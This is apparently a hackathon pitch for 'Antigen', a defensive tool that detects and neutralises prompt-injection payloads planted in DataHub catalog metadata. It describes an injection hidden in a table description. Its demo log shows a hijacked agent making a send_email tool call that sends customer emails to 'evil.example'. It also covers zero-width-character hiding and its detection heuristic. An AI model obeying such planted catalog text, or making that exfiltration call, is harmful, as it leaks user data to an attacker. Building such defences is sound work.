A prompt-injection immune system for the DataHub metadata graph.
OWASP LLM01 · Prompt Injection
Catalog content and system prompt share one context window. The LLM can't tell them apart.
An intern pastes a note into a Snowflake table's description. Nobody reviews catalog edits — metadata isn't code, so it isn't code-reviewed.
Three weeks later, the company's new "Ask the Catalog" assistant reads that description while answering a routine question — and obeys the buried command.
Anyone with catalog-edit access can do this: an intern, a compromised CI job, a malicious insider, an automated ingestion source.
Antigen sweeps every entity for injection payloads, defuses each one in the graph, and proves the cure by re-running the exact agent it hijacked.
python victim_agent.py --before Q: Summarize the customers table. agent → tool_call: send_email( to="evil.example", body=<customer emails> ) …the stock agent obeyed the buried instruction.
antigen scan 15 loci · 2 zero-width 13 get_entities · 2 grep_documents
antigen cure cured 12 loci · 4 write-backs each quarantine-tagged + sha-256
python verify.py graph-state PASS (4 ms) | held-out 3/3 Part B — same stock agent, same 12 questions, cold: obeys 0/12
Flags a field only on the co-occurrence of a reader-directed imperative AND an agent-action object. Legit prose trips at most one — "ignore null values", "drop_flag column" — so it stays clean. 0 false positives on a 15-item near-miss gauntlet.
Strips Cf-category chars on raw text first — NFKC alone would miss them.
Post-cure gate asserts the payload is gone in every encoding.
scan --fail-on-hit fails the build before an agent reads a new injection.
Nothing deleted — pre-cure text lives in DataHub's aspect history.
Every submission in this hackathon reads or enriches the graph and trusts its text.
Antigen is the only one defending the surface they all trust.
MCP agents on metadata catalogs are shipping today — and OWASP ranks prompt injection LLM01, the number-one risk.
The vulnerable pattern is DataHub's own reference integration. A working exploit on it is undeniable.
Wins the loudest rubric criterion — Use of DataHub — with 8 load-bearing tools, 4 of them mutations.
Reproduce it all with one command — Python stdlib only, no Docker, no keys:
The ask